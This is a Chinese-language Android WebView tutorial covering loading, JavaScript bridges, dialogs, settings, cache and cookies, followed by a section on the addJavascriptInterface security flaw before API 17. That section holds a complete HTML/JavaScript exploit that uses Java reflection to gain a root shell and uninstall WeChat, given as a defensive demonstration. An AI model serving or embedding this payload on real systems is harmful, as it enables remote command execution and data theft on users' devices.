基本使用
使用WebView通常是需要网络的,所以需要加上访问网络的权限
<uses-permission android:name="android.permission.INTERNET" />
1.加载某个url的方法
WebView.loadUrl("http://www.baidu.com");需要注意的是不要省略前面的http://,省略的话,某些ROM中的WebView会加载失败
2.加载assets中的HTML
WebView.loadUrl("file:///android_asset/xxx.html")3.加载一段javascript
WebView.loadUrl("javascript:" + ${js_code})4.为js提供本地方法
如下,提供一个showToast的方法给javascript
private static class JavaJs { private Context context; JavaJs(Context context) { this.context = context; } @JavascriptInterface public void showToast(String str) { Toast.makeText(context, str, Toast.LENGTH_LONG).show(); }}webView.addJavascriptInterface(new JavaJs(this), "JavaJs");<script type="text/javascript"> JavaJs.showToast("toast from js");</script>注意:
5.页面跳转
webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { if (Uri.parse(url).getHost().equals("www.xxx.com")) { // 自己的页面,直接使用WebView加载 return false; } // 别的公司的页面,使用浏览器打开 Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url)); startActivity(intent); return true; }});6.访问历史回退
@Overridepublic boolean onKeyDown(int keyCode, KeyEvent event) { if ((keyCode == KeyEvent.KEYCODE_BACK) && webView.canGoBack()) { webView.goBack(); return true; } return super.onKeyDown(keyCode, event);}7.在Logcat中输出javascript的日志信息
重写WebChromeClient中的onConsoleMessage方法
@Overridepublic boolean onConsoleMessage(ConsoleMessage consoleMessage) { Log.d("WebView", consoleMessage.message() + " js line: " + consoleMessage.lineNumber()); return true;}8.支持javascript的警告框 alert
重写WebChromeClient中的onJsAlert方法
@Overridepublic boolean onJsAlert(WebView view, String url, String message, final JsResult result) { new AlertDialog.Builder(MainActivity.this) .setTitle("JsAlert") .setMessage(message) .setPositiveButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(); } }) .setCancelable(false) .show(); return true;}9.支持javascript的确认框 confirm
重写WebChromeClient中的onJsConfirm方法
@Overridepublic boolean onJsConfirm(WebView view, String url, String message, final JsResult result) { new AlertDialog.Builder(MainActivity.this) .setTitle("JsConfirm") .setMessage(message) .setPositiveButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(); } }) .setNegativeButton("Cancel", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.cancel(); } }) .setCancelable(false) .show(); return true;}10.支持javascript提问框 prompt
重写WebChromeClient中的onJsPrompt方法
@Overridepublic boolean onJsPrompt(WebView view, String url, String message, String defaultValue, final JsPromptResult result) { final EditText et = new EditText(MainActivity.this); et.setText(defaultValue); new AlertDialog.Builder(MainActivity.this) .setTitle(message) .setView(et) .setPositiveButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.confirm(et.getText().toString()); } }) .setNegativeButton("Cancel", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { result.cancel(); } }) .setCancelable(false) .show(); return true;}11.显示空白页
WebView.loadUrl("about:blank");//该方法使得WebView只会绘制一个白色背景,并且释放之前加载页面时使用的资源,并停止之前javascript的执行12.清除返回栈 WebView.clearHistory
13.获得访问历史列表 WebView.copyBackForwardList
14.下载 WebView.setDownloadListener
15.pauseTimers, onPause, resumeTimers, onResume
pauseTimers, onPause 停止解析,javascript执行等操作.区别是 onPause 只作用于调用它的WebView,而 pauseTimers 作用于当前应用中所有的WebView
resumeTimers, onResume 恢复解析,javascript执行等操作.区别是 onResume 只作用于调用它的WebView,而 resumeTimers 作用于当前应用中所有的WebView
常用设置
1.安全相关(去掉不必要的JavaBridge)
//这个Java Bridge是WebView自己添加的//在Api 17以前,javascript可以通过java对象进行反射,执行一些不安全的操作webView.removeJavascriptInterface("searchBoxJavaBridge_");2.js相关
//设置支持javascript,默认是falseWebSettings.setJavaScriptEnabled(true);
3.缩放相关
//使WebView支持通过手势或者缩放控制器来缩放页面,默认是true//该设置不影响 WebView.zoomIn()和WebView.zoomOut()WebSettings.setSupportZoom(true);//设置使用默认的缩放控制器,默认是falseWebSettings.setBuiltInZoomControls(true);//不显示默认的+/-缩放控制View, 默认是trueWebSettings.setDisplayZoomControls(false);加载图片策略相关//设置是否自动加载图片,默认是`true`,如果设置为`false`,那么所有图片都不会被加载,包括本地图片.WebSettings.setLoadsImagesAutomatically(true);//设置是否阻止加载网络图片,默认是`false`,如果设置为`true`,那么网络图片将不会加载.(可以先设置为true,然后再设置为false,来加快页面加载速度)WebSettings.setBlockNetworkImage(false);//设置是否阻止加载网络资源(不仅仅是图片),默认是`false`,如果设置为`true`,那么网络上的js,css,图片等资源都不会加载WebSettings.setBlockNetworkLoads(false);
4.渲染相关
//设置渲染线程的优先级//该方法在 Api 18之后被废弃,优先级由WebView自己管理//不过任然建议将其设置为 HIGH,来提高页面渲染速度WebSettings.setRenderPriority(RenderPriority.HIGH);Viewport相关//设置使用 宽 的Viewpoint,默认是false//Android browser以及chrome for Android的设置是`true`//而WebView的默认设置是`false`//如果设置为`true`,那么网页的可用宽度为`980px`,并且可以通过 meta data来设置//如果设置为`false`,那么可用区域和WebView的显示区域有关.WebSettings.setUseWideViewPort(true);//如果webview内容宽度大于显示区域的宽度,那么将内容缩小,以适应显示区域的宽度, 默认是falseWebView.setLoadWithOverviewMode(true);<!--如果WebSettings.getUseWideViewPort 是true, 那么可以通过meta来设置 Viewport --><!--例如将其可用宽度设置为 480px, 并且禁用缩放功能--><head> <meta name="viewport" content="width=480, user-scalable=no" /></head><!--如果WebSettings.getUseWideViewPort 是false, 那么 不能 通过meta来设置-->
其效果类似于:
<meta name="viewport" content="width=device-width"/>
注意: 这里的px和通常说的像素不同,他和dp的概念非常类似. 参见 Mozilla
前端存储相关设置(方便前端工程师在客户端存储数据)
//支持H5的 application cache 的功能WebSettings.setAppCacheEnabled(true);//设置 application cache 的存储路径(通常存储js,css,图片等)WebSetting.setAppCachePath("xxx");//支持 H5 的session storage和local storageWebSettings.setDomStorageEnabled(true);//支持javascript读,写dbWebSettings.setDatabaseEnabled(true);//设置js创建的db文件的路径, Api 19以后废弃,直接有webview管理WebSettings.setDatabasePath("xxx");5.缓存相关设置
//设置加载资源时,如何使用cache//默认设置是:WebSettings.LOAD_DEFAULT//当WebView正常加载一个页面时,如果缓存命中且没有过期,则使用缓存数据,否则从网络加载,当WebView.goBack()时,如果缓存命中,直接使用,不会验证是否过期//可用的其他设置:LOAD_CACHE_ELSE_NETWORK, LOAD_NO_CACHE, LOAD_CACHE_ONLYWebSettings.setCacheModel(WebSettings.LOAD_DEFAULT);
6.cookie相关
public static void synCookies(Context context, String url) { CookieManager cookieManager = CookieManager.getInstance(); cookieManager.setAcceptCookie(true);//默认就是true cookieManager.setCookie(url, cookies); if(Build.VERSION.SDK_INT < 21) { CookieSyncManager.createInstance(context).sync(); } else { cookieManager.flush(); }}
addJavascriptInterface的安全问题
1.为javascript提供native接口的途径
Android WebView 提供一个addJavascriptInterface方法来为javascript创建一个JavaBridge.
例如给js提供一个showToast的方法:
private static class JavaJs { private Context context; JavaJs(Context context) { this.context = context; } @JavascriptInterface public void showToast(String str) { Toast.makeText(context, str, Toast.LENGTH_LONG).show(); }}webView.addJavascriptInterface(new JavaJs(this), "JavaJs");<script type="text/javascript"> JavaJs.showToast("toast from js");</script>2.安全问题
Api 17之前,在WebView为javascript提供了java对象之后, 可以利用javascript代码调用java的反射Api,进行一些hack操作,导致安全性问题.(<font color=red>注意: </font>低版本的WebView会自己添加一个searchBoxJavaBridge_对象,通常我们需要自己移除)
Api 17之后,WebView会禁止javascript调用没有添加@JavascriptInterface方法,从而避免上述问题.(<font color=red>注意: </font>推荐大家始终添加@JavascriptInterface,而不用关心Api版本,因为annotation缺失并不会导致ClassNotFoundException,而仅仅是被jvm忽略)
安全问题示例 (通过javascript卸载微信)
通过反射可以干很多事情,比如类似于 UserInfo 这样的对象,如果他是单例的话,那么很容易可以取到用户的 用户名,邮箱,手机号 等信息.
此处展示一个简单的页面,当通过WebView打开这个HTML,手机上的微信就会被卸载(当然前提是该app拥有root权限).
<html> <head> <script> function toByteArray(str) { var ch, stack, result = []; for(var i = 0; i < str.length; ++i) { ch = str.charCodeAt(i); stack = []; do { stack.push(ch & 0xFF); ch = ch >> 8; } while(ch); result = result.concat(stack.reverse()); } return result; } function execCmd(outputStream) { var cmd = "adb shell pm uninstall com.tencent.mm"; outputStream.write(toByteArray(cmd)); outputStream.close(); } function toString(inputStream) { var result = ""; var c; while((c = inputStream.read()) != -1) { var s = String.fromCharCode(c); result += s; } return result; } function hack() { for(var obj in window) { if("getClass" in window[obj]) { console.log(obj); var runtime = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null); var p = runtime.exec(["su"]); execCmd(p.getOutputStream()); alert(toString(p.getInputStream())); break; } } } hack(); </script> </head><body> 卸载微信 :)</body></html>新闻热点
疑难解答
